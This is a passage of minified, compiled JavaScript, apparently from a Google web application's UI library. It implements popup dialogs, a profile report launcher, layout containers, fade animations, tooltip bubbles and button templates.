BY;EY.push(f);a&&f.j(cy,a);f.Qc(CH,f.V0);f.fL(1E4);f.send(b,e,void 0,d)}; x.W0=function(a,b){var d=null,e=null,f=null,d=b.currentTarget;if(d.Hm()){var g=this.raa(d.maa(),d.vO()),d=g.proto?g.proto:[];g.debug&&(e=new A0(g.debug));g.status&&(f=new z0(g.status));g.api&&(g=(new B0(g.api)).naa(),z(g)&&(this.CL=g));a.oaa(d,f,e)}else a.handleError()};x.raa=function(a,b){var d=b.substring(b.indexOf($b)+11,b.lastIndexOf(Zb));try{return vQ(d)}catch(e){return xP.ZR(Js+a+da+d,e),[]}};x.ut=function(){};var Q0=function(a){var b=new P0;a.Gc($A,b);return b};var R0=function(a){return a.get(EQ)};new VO;var S0=function(a){return a.Xf(AK)};var T0=function(a){N.call(this);this.N=a;a=J?QA:Ww;this.pX=CO(this.N,J?PA:OA,this,!J);this.qX=CO(this.N,a,this,!J)};E(T0,N);T0.prototype.handleEvent=function(a){var b=new eO(a.pc);b.type=a.type==PA||a.type==OA?PA:QA;this.dispatchEvent(b)};T0.prototype.A=function(){T0.c.A.call(this);KO(this.pX);KO(this.qX);delete this.N};var U0=function(a,b){this.ma=a;this.as=b;this.fa=new LQ(this)};E(U0,ZN);x=U0.prototype;x.dD=!1; x.yca=function(a,b,d,e,f){var g=this.as+md;if(this.ma.b(g))return!1;this.vf=this.ma.C(s,{id:g,style:aH+(0<f?f:1001)});this.ma.aa.body.appendChild(this.vf);this.Gx=this.as+vd+(Math.floor(2147483648*Math.random()).toString(36)+Math.abs(Math.floor(2147483648*Math.random())^D()).toString(36));this.ma.Pc()[this.Gx]=C(this.qH,this,d);this.FV();d=this.ma.C(s,{id:this.as+ed,style:$G});this.vf.appendChild(d);this.vf.appendChild(this.ix(this.ma));this.Tr=new tR(this.ma.Pc());this.fa.zH(this.Tr,IH,this.DV,!1, this);var k=this.ma.C(sC,{id:this.as+Fd,style:Zy,scrolling:e?mL:EF,tabIndex:Rc,allowTransparency:WJ});this.vf.appendChild(k);this.vf.appendChild(this.ix(this.ma));var p=J&&!SN(ff);p||T(k,QK,WB);this.fa.EV(k,yD,function(){p||T(k,QK,RK);this.GV(k)},!1,this);T(k,Yy,Tw);this.EI();e=new wR(a);e.Gl(fz,this.Gx);b&&(V0(e,eH,b.left),V0(e,fH,b.top),V0(e,dH,b.width),V0(e,YG,b.height));(a=a.Mn(NB))?(e.Xx(NB),a=e.toString()+gc+a):a=e.toString();k.src=a;return!0}; x.ix=function(a){a=a.createElement(SI);a.tabIndex=0;return a};x.GV=function(a){var b=a.contentDocument||a.contentWindow.document,d=this.ix(MP(b));a=function(){OQ(function(){J&&b.body.focus();b.body.insertBefore(d,b.body.childNodes[0]);d.focus()},0)};this.Rs=new T0(this.ma.aa);this.fa.j(this.Rs,PA,a);a()};x.DV=function(){this.vf.style.display=JF;this.EI();this.vf.style.display=Tw}; x.qH=function(a,b){K(this.fa);this.Tr&&(this.Tr.Q(),this.Tr=null);this.Rs&&(this.Rs.Q(),this.Rs=null);this.ma.removeNode(this.vf);this.vf=null;this.y2();this.ma.Pc()[this.Gx]=null;a&&a(b)};x.EI=function(){var a=this.wba();SR(this.vf,a.left,a.top);fS(this.vf,a.width,a.height)};x.FV=function(){var a=this.ma.aa.body.parentNode;this.dD=!0;this.SN=NR(a,oG);T(a,oG,WB)};x.y2=function(){this.dD&&T(this.ma.aa.body.parentNode,oG,this.SN);this.dD=!1;this.SN=c}; x.wba=function(){var a=this.ma.oi(),b=this.ma.aD();return new W0(a.x,a.y,b.width,b.height)};x.A=function(){this.qH(void 0,null);U0.c.A.call(this)};var V0=function(a,b,d){d&&a.Gl(b,d)},W0=function(a,b,d,e){this.left=a;this.top=b;this.width=d;this.height=e};KL("goog.DialogWidgetLauncher.PseudoRect",W0,void 0);var X0={BUZZ:"buzz",COMMENT:Yx,PHOTO:"photo"},Y0=function(a,b,d,e,f,g,k,p){k=k||MP();f=f||{};a=new wR(a);var q=a.getPath(),t;if(t=q)t=q.length-1,t=!(0<=t&&q.indexOf(se,t)==t);t&&a.setPath(q+se);a=a.resolve(new wR($K));V0(a,BI,b);V0(a,ky,e);V0(a,aK,d);f&&(V0(a,$B,f.hl),V0(a,BK,f.userId),V0(a,NB,f[NB]),f.fragment&&a.Qp(f.fragment));b=a;return(new U0(k,Qv)).yca(b,void 0,g,void 0,p)};KL("goog.profiles.ReportPopupLauncher.launch",Y0,void 0);KL("goog.profiles.ReportPopupLauncher.PopupType",X0,void 0);var Y=new jR("phst");new S(Y,95);new S(Y,104);var Z0=new S(Y,6);new S(Y,114);new S(Y,18);new S(Y,303);new S(Y,304);new S(Y,305);new S(Y,105);var $0=new S(Y,17);new S(Y,132);new S(Y,133);new S(Y,134);new S(Y,128);new S(Y,118);new S(Y,119);new S(Y,120);new S(Y,56);new S(Y,22);new S(Y,21);new S(Y,24);new S(Y,23);new S(Y,19);new S(Y,20);new S(Y,30);new S(Y,31);var a1=new S(Y,147),b1=new S(Y,148),c1=new S(Y,137);new S(Y,178);new S(Y,139);new S(Y,285);new S(Y,286);new S(Y,156);new S(Y,138);new S(Y,39);new S(Y,4);new S(Y,106); new S(Y,27);var d1=new S(Y,11);new S(Y,25);new S(Y,107);var e1=new S(Y,7);new S(Y,108);new S(Y,109);new S(Y,110);new S(Y,111);new S(Y,96);new S(Y,112);new S(Y,47);new S(Y,48);new S(Y,49);new S(Y,61);new S(Y,62);new S(Y,113);new S(Y,207);new S(Y,127);new S(Y,15);new S(Y,115);new S(Y,116);new S(Y,117);new S(Y,14);new S(Y,28);new S(Y,121);new S(Y,122);new S(Y,123);new S(Y,124);new S(Y,125);new S(Y,126);new S(Y,38);var f1=new S(Y,140),g1=new S(Y,155),h1=new S(Y,8),i1=new S(Y,9);new S(Y,158);var j1=new S(Y,141);new S(Y,149);new S(Y,150);new S(Y,151);var k1=new S(Y,152);new S(Y,179);new S(Y,180);new S(Y,153);new S(Y,157);var l1=new S(Y,142),m1=new S(Y,143),n1=new S(Y,146),o1=new S(Y,144),p1=new S(Y,145),q1=new S(Y,5),r1=new S(Y,136);new S(Y,154);var s1=function(a){this.pa=a;this.ma=a.get(GQ).q();this.S=xS(a)};s1.prototype.r3=function(a){this.YR(X0.COMMENT,a)};s1.prototype.H0=function(a,b){this.YR(X0.PHOTO,a+Cv+b)};s1.prototype.YR=function(a,b){var d=S0(R0(this.pa).Zh()).D(dD)||Kz;this.pa.get(fD);Y0(this.S.ly,this.S.A0,a,b,{hl:d},void 0,this.ma,this.B0())};s1.prototype.B0=function(){var a=this.pa.get(DQ).xJ(),a=parseInt(PR(a,oL),10);return(isNaN(a)?1099:a)+1};var t1=function(a){var b=new s1(a);a.Gc(HC,b);return b};var u1=function(a){N.call(this);this.S=xS(a);this.Og=a.get(fD)};E(u1,N);x=u1.prototype;x.ej=function(){return!!this.S.tO()};x.wG=function(a,b){this.yB(this.S.tO(),b,a)};x.M3=function(a){uS(this.S.JD()+a)};x.L3=function(){uS(this.S.JD()+sK)};x.Dr=function(){return!!this.S.k6};x.vG=function(a,b){this.yB(this.S.k6,b,a)};x.aS=function(){return!!this.S.W1};x.cS=function(a,b,d){this.yB(this.S.W1,d,a,b.iM(),b.v()||void 0)}; x.yB=function(a,b,d){a&&(b&&b.stopPropagation(),this.dispatchEvent(wy),a.apply(null,iN(arguments,2)))};var v1=function(a){var b=new u1(a);a.Gc(YC,b);return b};var w1=function(){},x1=function(a){null==a.Lg(AE)&&a.Gc(AE,new w1)};w1.prototype.qh=function(a,b,d,e,f,g,k){return new y1(a,b,d,e,f,g,k)};var z1=function(a){var b=a.getContext();OT.call(this,b);this.Z=a};E(z1,uU);x=z1.prototype;x.Yg=function(){return this.Z.getContext()};x.oh=function(a){return this.Z.oh(a)};x.sm=function(a){return this.Z.sm(a)};x.Ji=function(a){return this.Z.Ji(a)};x.vm=function(a,b){return this.Z.vm(a,b)};x.ya=function(){z1.c.ya.call(this);var a=this.Z;a.An();this.q().appendChild(this.b(),a.b());this.rr(a)};x.A=function(){this.pJ()||this.Z.Q();z1.c.A.call(this)};x.cg=function(a){z1.c.cg.call(this,a);this.Z.cg(a)}; x.Lf=function(a,b,d,e){this.Z.Lf(a,b,d,e)};x.Wi=function(a,b){this.Z.Wi(a,b)};x.ip=function(a){return this.Z.fg(a)};x.zq=function(a){return this.Z.Fs(a)};x.rm=function(a){z1.c.rm.call(this,a);this.Z.Qx(a)};x.Vc=function(a,b,d){var e=!!d,f=this.Z;a==u?-1!=b||d?(z1.c.Vc.call(this,a,b,d),e=!0):(d=f.fg(a),z1.c.Vc.call(this,a,d,!1)):z1.c.Vc.call(this,a,-1,d);f.ee(a,b,e)};var A1=function(a){OT.call(this,a)};E(A1,uU);x=A1.prototype;x.cg=function(a){A1.c.cg.call(this,a);for(var b=this.Nn(),d=0;d<b.length;d++)b[d].cg(a)};x.ta=function(a){this.mm(a,this.xc())};x.mm=function(a,b){this.GQ([a],b)};x.ji=function(a){this.GQ(a,this.xc())};x.GQ=function(a,b){var d=this.xc();if(a.length&&0<=b&&b<=d){this.An();yU++;try{for(var e=this.P5(),d=0;d<a.length;d++){var f=b+d,g=a[d];g.An();!e&&g.ld||g.hide();this.wD(g,f);g.cg(this.gf);this.uD(g,f)}g.ld&&this.jb()}finally{zU()}}}; x.wD=function(a,b){if(b==this.xc())this.q().appendChild(this.b(),a.b());else{var d=this.b();d.insertBefore(a.b(),d.childNodes[b])}};x.vq=function(a){var b=this.Fb(a),d=this.Sl(a);if(d){var e=b.ld;b.cg(null);this.HD(b,a);e&&this.jb()}return d};x.removeChild=function(a){if(!this.Ga)return!1;yU++;try{var b=RM(this.Ga,a);return this.vq(b)}finally{zU()}};x.clear=function(){yU++;try{for(;this.vq(0););}finally{zU()}};x.HD=function(a){aQ(a.b())};var B1=function(a,b){OT.call(this,a);this.kM=b};E(B1,A1);x=B1.prototype;x.ip=function(a){for(var b=this.xc(),d=0,e=0;e<b;e++){var f=this.Fb(e),g=f.sm(a),k=f.Ji(a),p=f.oh(a),q=f.It(a);switch(p){case 0:d+=g;break;case -1:f=f.fg(a);q||(f=Math.max(f,g),f=Math.min(f,k));d+=f;break;default:d+=g}}return d+=a==u?this.Cl:this.No};x.zq=function(a){if(a==u)return!1;for(var b=this.xc(),d=0;d<b;d++){var e=this.Fb(d);if(!e.It(a)||!e.Fs(a))return!1}return!0}; x.rm=function(a){for(var b=this.xc(),d=0;d<b;d++)this.Fb(d).Qx(a);this.fp(a)};x.Vc=function(a,b,d){this.yp(a,b,d);this.Jba(a,b);this.Gz(a,b,xU[a])};x.yp=function(a,b,d){a==u&&-1==b?B1.c.Vc.call(this,a,this.fg(a)-this.Cl,!1):B1.c.Vc.call(this,a,b,d)}; x.Jba=function(a,b){if(this.xc()){var d=b,e=this.Nn();if(a==this.kM){mU&&(d=Math.floor(60*d)/60);var f=d,d=xU[a];DU.length=EU.length=FU.length=GU.length=0;for(var g=e.length,k=0;k<g;k++){var p=0,p=e[k];p.ld?(EU[k]=p.oh(a),FU[k]=p.sm(a),GU[k]=p.Ji(a)):(FU[k]=0,GU[k]=0);DU[k]=0}for(var q=!1,k=0;k<g;k++)if(p=e[k],p.ld)if(p.It(a))DU[k]=-1;else if(p.Dp(a)){var t=p.fg(a),p=p.vm(a,t);DU[k]=p==t?-1:p}else 0==p.oh(a)?DU[k]=FU[k]:(q||(q=!0,HU.length=0),HU.push(k));if(q)if(-1==f)for(k=0;k<HU.length;k++)q=HU[k], DU[q]=FU[q];else{for(k=p=0;k<g;k++)q=DU[k],0>q&&(q=e[k].fg(a)),p+=q;for(var B=t=0,k=0;k<HU.length;k++)q=HU[k],t+=EU[q],B+=FU[q];p=Math.max(f-p,B);IU(HU,FU,GU,EU,p,t,DU);for(k=f=0;k<HU.length;k++)q=HU[k],f+=DU[q];f-=p;for(k=0;k<HU.length&&0<f;k++)q=HU[k],p=DU[q],t=FU[q],p>t&&(p=Math.min(f,p-t),DU[q]-=p,f-=p);if(0<f)throw Error("Overflow pixels left over: "+f+ne);}for(k=0;k<g;k++)p=e[k],d[p.v()]=DU[k]}else CU(a,d,e)}}; x.Gz=function(a,b,d){var e=this.xc();if(e)for(var f=0;f<e;f++){var g=this.Fb(f),k=d[g.v()];g.ee(a,k,this.U2(a,b,g,k))}};x.U2=function(a,b,d,e){return this.kM==jL&&a==u&&e==b};var C1=function(a,b){B1.call(this,a,jL);this.XW=!!b};E(C1,B1);x=C1.prototype;x.oB=NJ;x.L0=NJ;x.ya=function(){C1.c.ya.call(this);var a=this.N;this.XW?(this.Zb=this.q().createElement(s),this.Zb.className=Uk,this.li=this.Zb.style,this.q().appendChild(a,this.Zb)):(this.Zb=a,this.li=this.Tl())};x.A=function(){this.li=this.Zb=null;C1.c.A.call(this)};x.yp=function(a,b,d){C1.c.yp.call(this,a,b,d);this.L0!=this.oB&&(this.Tl().position=this.oB==NJ?c:GH,this.li.position=this.oB==NJ?c:Pv)}; x.wD=function(a,b){var d=a.b();if(NU.get())if(d=this.q().createElement(s),d.className=Vk,gQ(d,EL),b==this.xc())this.Zb.appendChild(d),this.Zb.appendChild(a.b());else{var e=this.Zb.childNodes[2*b];this.Zb.insertBefore(d,e);this.Zb.insertBefore(a.b(),e)}else b==this.xc()?this.Zb.appendChild(d):this.Zb.insertBefore(d,this.Zb.childNodes[b])};x.HD=function(a){NU.get()&&aQ(a.b().previousSibling);aQ(a.b())};var D1=function(){N.call(this);this.nN=[]};E(D1,N);x=D1.prototype;x.rT=function(a){this.Im=a};x.Bb=function(a){a.DN?(this.gO(a),this.hO()):this.Mg()};x.gO=function(a){this.Ed&&this.Ed.Q();this.Ed=a};x.Mg=function(a){a&&a!=this.Ed||(this.Ed&&(this.ny(),this.qs(),this.gO(null)),this.hO(!0),0<this.nN.length?this.qa=1:2==this.qa&&(this.qa=3))};x.B4=function(){var a=this.Ed;a&&this.Im&&this.Im.Bb(a,a.h6);this.qs()}; x.hO=function(a){var b=a?this.yia:this.Ed;this.ny();this.qs();b?(this.Im&&this.Im.Bb(b),this.qa=this.Ed?0==this.nN.length?2:3:0,a||-1==b.Re||(this.vC=HS(aA,this.Mg,b.Re,this)),!a&&0<=b.hN&&(this.wC=HS(aA,this.B4,b.hN,this))):(this.Im&&this.Im.Mg(),this.qa=0)};x.nc=function(){2==this.qa&&(this.qa=3)};x.ny=function(){this.vC&&JL.clearTimeout(this.vC);this.vC=null};x.qs=function(){this.wC&&JL.clearTimeout(this.wC);this.wC=null};x.A=function(){D1.c.A.call(this);this.ny();this.qs();this.Ed&&this.Ed.Q()};var E1=function(a){B1.call(this,a,u)};E(E1,B1);E1.prototype.GL=oD;E1.prototype.RJ=-1;E1.prototype.FL=c;var F1=J||DN&&!SN("1.9a");x=E1.prototype;x.ya=function(){E1.c.ya.call(this);var a=this.N;this.Zb=this.q().C(s,{className:Ni});this.li=this.Zb.style;this.vx=this.q().createElement(s);this.vx.className=Li;this.q().appendChild(a,this.Zb);this.q().appendChild(a,this.vx)};x.A=function(){this.vx=this.li=this.Zb=null;E1.c.A.call(this)}; x.yp=function(a,b,d){E1.c.yp.call(this,a,b,d&&(!F1||this.GL==oD));a=this.GL==oD?c:aI;this.FL!=a&&(this.FL=a,J?this.li.styleFloat=a:this.li.cssFloat=a)};x.Gz=function(a,b,d){var e=this.xc();if(e){if(a==u){for(var f=0,g=0;g<e;g++)f+=d[this.Fb(g).v()];e=f<=b?-1:f;this.RJ!=e&&(this.RJ=e,this.li.width=AU(e))}E1.c.Gz.call(this,a,b,d)}};x.wD=function(a,b){var d=a.b();WT(d,Mi);b==this.xc()?this.Zb.appendChild(a.b()):this.Zb.insertBefore(d,this.Zb.childNodes[b])};x.HD=function(a){a=a.b();YT(a,Mi);this.q().removeNode(a)};var H1=function(a){WZ.call(this,a);this.Un=G1};E(H1,WZ);x=H1.prototype;x.A=function(){this.Un=null;H1.c.A.call(this)};x.zq=function(a){return a==jL};x.rm=function(a){this.fp(a)};x.ip=function(a){if(a==u)return this.Un(this);this.fp(a);return this.b().offsetHeight};x.Vc=function(a,b,d){a==u?(-1!=b||d?H1.c.Vc.call(this,a,b,d):H1.c.Vc.call(this,a,this.fg(a),!1),this.Ml(jL)):H1.c.Vc.call(this,a,b,d)}; x.setContent=function(a){this.clear();a instanceof VS?YS(this.b(),JT,{content:a}):this.b().innerHTML=a;this.Ml()};x.ta=function(a){this.rr(a)};x.mm=function(a,b){this.uD(a,b)};x.removeChild=function(a){return this.Wda(a)};x.vq=function(a){return this.Sl(a)};x.clear=function(){this.Bu()};var G1=function(a){var b=a.N;a=a.Tl();var d=a.position,e=a.width;a.position=Pv;a.width=c;b=b.offsetWidth;a.position=d;a.width=e;return b};var I1,J1=function(a,b){OL(b)||(b=[b]);H(0<b.length,$h);var d=UM(b,function(a){if(A(a))return a;MM(a,an);var b=a.WR+fa+a.duration+nI+a.timing+fa+a.delay+mI;H(a.WR&&QL(a.duration)&&a.timing&&QL(a.delay),qu,b);return b});T(a,UJ,d.join(Kc))};var K1=function(a,b,d,e,f){pZ.call(this);this.N=a;this.Re=b;this.y3=d;this.LM=e;this.Em=OL(f)?f:[f]};E(K1,pZ);x=K1.prototype;x.play=function(){if(this.Jp())return!1;this.yh();this.RB();this.startTime=D();this.SB();if(!z(I1))if(J)I1=SN(Pe);else{var a=document.createElement(s),b=EN?ge:DN?Id:J?Ld:CN?Od:null;a.innerHTML=Og+(b?b+ee:c)+VJ;a=a.firstChild;H(a.nodeType==Node.ELEMENT_NODE);I1=NR(a,UJ)!=c}if(I1)return T(this.N,this.y3),this.nk=OQ(this.l4,void 0,this),!0;this.cC(!1);return!1}; x.l4=function(){J1(this.N,this.Em);T(this.N,this.LM);this.nk=OQ(C(this.cC,this,!1),1E3*this.Re)};x.stop=function(){this.Jp()&&this.cC(!0)};x.cC=function(a){T(this.N,UJ,c);PQ(this.nk);T(this.N,this.LM);this.yj=D();this.Mp();a?this.kC():this.bC();this.Dh()};x.A=function(){this.stop();K1.c.A.call(this)};var L1=function(a,b,d,e,f){return new K1(a,b,{opacity:e},{opacity:f},{WR:iG,duration:b,timing:d,delay:0})},M1=function(a,b){return L1(a,b,qz,0,1)},N1=function(a,b){return L1(a,b,pz,1,0)};var O1=function(a,b){this.jY=4;this.Ps=b||void 0;L_.call(this,a)};E(O1,L_);O1.prototype.getPosition=function(){return this.Ps||null};O1.prototype.setPosition=function(a){this.Ps=a||void 0;this.ra()&&this.qb()};O1.prototype.qb=function(){if(this.Ps){var a=!this.ra()&&this.Qa()!=tE,b=this.b();a&&(b.style.visibility=WB,U(b,!0));this.Ps.qb(b,this.jY,this.bJ);a&&U(b,!1)}};var P1=function(a,b){this.Ug=a;this.e7=!!b;this.EP={0:this.Ug+cd,1:this.Ug+dd,2:this.Ug+Zc,3:this.Ug+bd}};E(P1,l_);x=P1.prototype;x.qP=!1;x.IE=2;x.gQ=20;x.cv=3;x.sP=null;x.aE=-5;x.wl=function(a){this.Oh=a};x.setPosition=function(a,b,d,e){null!=a&&(this.cv=a);null!=b&&(this.IE=b);QL(d)&&(this.gQ=Math.max(d,15));QL(e)&&(this.aE=e)};x.VG=function(a,b){this.vg=a;this.eP=b};x.qb=function(a,b,d){H(this.eP,Xp);this.Gg(this.cv,this.D$(this.cv,this.IE),this.E$(),d)}; x.E$=function(){return 2==this.IE?Q1(this.cv)?this.vg.offsetHeight/2:this.vg.offsetWidth/2:this.gQ};x.D$=function(a,b){2==b&&(b=0);return b};x.uy=function(a){this.qP=a}; x.Gg=function(a,b,d,e,f){if(this.Oh){var g=R1(a,b),k;k=this.Oh;var p=this.vg,q=this.sP,t=hS(k);t:{var t=(Q1(a)?t.height/2:t.width/2)-d,B=AZ(k,g);if(q)q=q.clone(),p&&(p=zZ(p),q.left+=p.x,q.right+=p.x,q.top+=p.y,q.bottom+=p.y);else if(q=ZR(k),!q){k=t;break t}k=iS(k).N8();Q1(a)?k.top<q.top&&!(B&1)?t-=q.top-k.top:k.bottom>q.bottom&&B&1&&(t-=k.bottom-q.bottom):k.left<q.left&&!(B&2)?t-=q.left-k.left:k.right>q.right&&B&2&&(t-=k.right-q.right);k=t}k=Q1(a)?new yP(this.aE,k):new yP(k,this.aE);t=Q1(a)?6:9;B= a^3;Q1(a)&&this.Oh.dir==iI&&(B=a);g=CZ(this.Oh,R1(B,b),this.vg,g,k,e,this.qP?t:0,void 0,this.sP);if(!f&&g&496){this.Gg(a^3,b,d,e,!0);return}!this.e7||g&496||(e=parseFloat(this.vg.style.left),f=parseFloat(this.vg.style.top),H(!isNaN(e)&&!isNaN(f),Hl),isFinite(e)&&0==e%1&&isFinite(f)&&0==f%1||SR(this.vg,Math.round(e),Math.round(f)))}this.J8(a,b,d)}; x.J8=function(a,b,d){var e=this.eP;jO(this.EP,function(a){YT(e,a)},this);WT(e,this.EP[a]);e.style.top=e.style.left=e.style.right=e.style.bottom=c;this.Oh?(b=cS(this.Oh,this.vg),d=S1(this.Oh,a),Q1(a)?(a=T1(b.y+d.y,15,this.vg.offsetHeight-15),e.style.top=a+rH):(a=T1(b.x+d.x,15,this.vg.offsetWidth-15),e.style.left=a+rH)):e.style[0==b?Q1(a)?NJ:oD:Q1(a)?jx:aI]=d+rH}; var T1=function(a,b,d){return b>d?b:OO(a,b,d)},R1=function(a,b){switch(a){case 2:return 0==b?1:3;case 1:return 0==b?0:2;case 0:return 0==b?6:7;default:return 0==b?4:5}},S1=function(a,b){var d=0,e=0,f=hS(a);switch(b){case 2:d=f.width/2;break;case 1:d=f.width/2;e=f.height;break;case 0:e=f.height/2;break;case 3:d=f.width,e=f.height/2}return new yP(d,e)},Q1=function(a){return 0==a||3==a};var U1=function(a){var b=Hg;a.ZW&&(b+=Jg);return dT(b+Ig)};U1.yb="jfk.templates.bubble.main";var V1=function(a){IZ.call(this,a);this.vn=new P1(this.Ug,!0);this.Uf=new O1;this.jK=0;this.WI=[]};E(V1,IZ);x=V1.prototype;x.Ug="jfk-bubble";x.XG=!0;x.Qn=!1;x.wl=function(a){this.vn.wl(a);this.qb()};x.setPosition=function(a,b,d,e){H(!this.wa(),Yp);this.vn.setPosition(a,b,d,e)};x.Bs=function(a){H(!this.wa(),Wp);this.WI.push(a)};x.setContent=function(a){H(A(a)||a.nodeType,El);this.Zd=a;this.iJ(a)};x.iJ=function(a){var b=this.Ua();a&&b&&(A(a)?b.innerHTML=a:(b.innerHTML=c,b.appendChild(a)))};x.uy=function(a){this.vn.uy(a)}; x.uP=function(a){this.Qn=a};x.Ua=function(){return this.pb(this.Ug+pd)};x.C=function(){this.pf($S(U1,{ZW:this.XG},void 0,this.q()));this.iJ(this.Zd);U(this.b(),!1);this.Uf.js(this.b());this.YW(this.Uf);XT(this.b(),this.WI)};x.YW=function(a){FN||a.LK(M1(this.b(),0.218),N1(this.b(),0.218))}; x.R=function(){V1.c.R.call(this);this.L().j(this.Uf,[Qw,OI,Pw,XB],this.ZS);this.XG&&this.L().Jq(this.pb(this.Ug+ld),i_,YL(this.setVisible,!1));var a=this.b();H(a,gB);var b=this.pb(this.Ug+Yc);H(b,oq);this.vn.VG(a,b);this.Uf.setPosition(this.vn)};x.setVisible=function(a){this.Uf.setVisible(a)};x.ra=function(){return this.Uf.ra()};x.Ss=function(){return this.Uf.Ss()};x.qb=function(){this.ra()&&this.Uf.qb()};x.A=function(){this.Uf.Q();delete this.Uf;V1.c.A.call(this)}; x.QI=function(){var a=bS(this.b());this.jK&&a.y<this.jK&&this.setVisible(!1);return!1};x.ZS=function(a){if(a.type==OI||a.type==XB){var b=this.L(),d=this.q(),d=J?d.Pc():d.aa;a.type==OI?b.j(d,vI,this.QI):b.$(d,vI,this.QI)}b=this.dispatchEvent(a.type);this.Qn&&a.type==XB&&this.Q();return b};var W1=function(a){this.Bm=a||MP()};E(W1,ZN);W1.prototype.v3=function(){UY(this.b(),this.Cf());WY(this.b(),wD,XG)};W1.prototype.Cf=function(){return MJ};var X1=function(a){this.Bm=a||MP();this.Bd=this.Bm.C(s,this.Qg()+qd);this.AI=this.Bm.C(s,this.Qg()+Wc,this.Bm.C(s,this.Qg()+ad),this.Bm.C(s,this.Qg()+$c));this.aC=this.Bm.C(s,{"class":this.Qg(),role:MJ},this.Bd,this.AI);this.v3()};E(X1,W1);X1.prototype.Qg=function(){return UC};X1.prototype.b=function(){return this.aC};X1.prototype.Ua=function(){return this.Bd};X1.prototype.A=function(){this.aC&&aQ(this.aC)};var Y1={},Z1=function(a){LQ.call(this);this.ma=a;this.hL=new jZ(this.n0,0,this);this.wx(this.hL);a=a.aa;this.j(a,[pE,nE,Rx,Ww,dO,aD],this.l0,!0);this.j(a,[qE,OA,cO],this.m0,!0)};E(Z1,LQ);x=Z1.prototype;x.A=function(){this.bK();Z1.c.A.call(this)};x.JQ=function(a){switch(a.type){case nE:case qE:case pE:case Rx:this.PQ=!1;break;case aD:this.PQ=!0}};x.m0=function(a){this.JQ(a);var b=a.type==OA||a.type==cO;!this.PQ&&b?this.ep=null:(this.EY=b,this.ep=a.target);this.IQ()}; x.l0=function(a){this.JQ(a);this.ep=null;this.IQ()};x.IQ=function(){this.bK();this.hL.start(this.Eh?50:300)};x.bK=function(){this.ts&&(PQ(this.ts),this.ts=0,this.Eh=null)}; x.n0=function(){if(!this.ep)this.$J();else if(!(this.Eh&&this.Tb&&fQ(this.Tb.b(),this.ep))){var a=pQ(this.ep,function(a){return a.getAttribute&&(a.getAttribute(yy)||a.getAttribute(Cy))&&!a.getAttribute(Dy)},!0),b=!1;this.Eh&&this.Eh!=a&&(this.$J(),b=!0);if(!this.Eh&&a&&(this.Eh=a,!this.EY||mE!=a.getAttribute(Ey))){var d;d=(d=a.getAttribute(yy))?kM(rM(d)):a.getAttribute(Cy);var e=a.getAttribute(zy),f=a.getAttribute(Ay);if(!b&&(a=a.getAttribute(By),a=Math.max(0,a-300))){this.ts=OQ(YL(this.aK,this.Eh, d,e,f),a,this);return}this.aK(this.Eh,d,e,f)}}};var $1=function(a){if(a)switch(a.toLowerCase().split(Kc)[0]){case dD:return 0;case jJ:return 2;case yH:return 3}return 1}; Z1.prototype.aK=function(a,b,d,e){this.ts=0;if(!this.Tb){this.Tb=new X1(this.ma);this.hJ();var f=this.Tb.b();this.ma.aa.body.appendChild(f);this.wx(this.Tb);this.Po=new P1(this.Tb.Qg(),!0);this.Po.uy(!0);this.Po.VG(this.Tb.b(),this.Tb.AI)}t:{if(d)switch(d.toLowerCase().split(Kc)[1]){case dD:f=0;break t;case yH:f=1;break t}f=2}this.Po.setPosition($1(d),f,void 0,-1);YT(this.Tb.b(),VC);this.vs!=e&&(this.vs&&!eM(this.vs)&&YT(this.Tb.b(),this.vs),eM(e)||WT(this.Tb.b(),e),this.vs=e);SR(this.Tb.b(),0,0); this.Tb.Ua().innerHTML=b;this.Po.wl(a);this.Po.qb(null,0)};Z1.prototype.hJ=function(){this.Tb&&WT(this.Tb.b(),VC)};Z1.prototype.$J=function(){this.hJ();this.Eh=null};var a2=function(a){a=a||{};var b=dT,d=Ng+(a.id?wa+AT(a.id)+Na:c)+qa,e;e=a||{};var f=uB;switch(e.style){case 0:f+=TC;break;case 2:f+=MC;break;case 3:f+=SC;break;case 1:f+=PC;break;case 4:f+=QC;break;case 5:f+=RC;break;case 6:f+=OC;break;default:f+=TC}f+=(1==e.width?Ba:c)+(e.checked?ya:c)+(e.Haa?fa+e.Haa:c)+(e.disabled?Aa:c);d=d+AT(oT(f))+Na+(a.disabled?oa:Ha+(a.Saa?AT(a.Saa):l)+Na)+(a.title?fa+(a.a_?yy:GJ)+qh+AT(a.title)+Na:c)+(a.value?Ja+AT(a.value)+Na:c);a.attributes?(e=a.attributes,null!=e&&e.we=== TS?(H(e.constructor===jT),e=e.content.replace(/([^"'\s])$/,Pb)):(e=String(e),IT.test(e)||(JM(pi,[e]),e=pL)),e=fa+e):e=c;return b(d+e+rh+V(null!=a.content?a.content:c)+Bf)};a2.yb="jfk.templates.button.strict";var b2=function(a,b,d){a=a||{};return c+a2(qT(a,{attributes:tT(c+(a.oca?FT(a.oca):c)+(a.action?na+AT(ET(a.action))+Na:c)),content:sT(c+(a.Fn?FT(a.Fn):c))}),null,d)};var d2=function(a,b,d,e){f0.call(this,a,c2.Ja(),b);this.Pr=d||0;this.Ve=e||0;this.Ex=!1};E(d2,f0);x=d2.prototype;x.dc=function(){return this.Ve};x.Iba=function(a){this.Pr!=a&&(this.Pr=a,this.lB())};x.Kf=function(a){this.Ve!=a&&(this.Ve=a,this.lB())};x.I_=function(a){this.Ex=a}; x.ze=function(a){this.ul(a);var b=this.b();if(b&&a)if(this.Ex){var d=void 0,d=a;b.removeAttribute(GJ);a?(b.setAttribute(yy,a),b.setAttribute(ww,d)):(b.removeAttribute(yy),b.removeAttribute(Cy),b.removeAttribute(ww));a=MP(b)||MP();b=VL(a.aa);Y1[b]||(Y1[b]=new Z1(a))}else b.title=a};x.Gb=function(a){this.isEnabled()!=a&&(d2.c.Gb.call(this,a),this.lB())};x.Kt=function(a){d2.c.Kt.call(this,a);this.mB(!1)};x.ce=function(a){d2.c.ce.call(this,a);this.isEnabled()&&this.mB(!0)}; x.Tg=function(a){d2.c.Tg.call(this,a);this.isEnabled()&&this.mB(!0)};x.mB=function(a){if(this.b()){var b=this.b();a?WT(b,NC):YT(b,NC)}};x.lB=function(){this.b()&&this.da.VY(this)};var 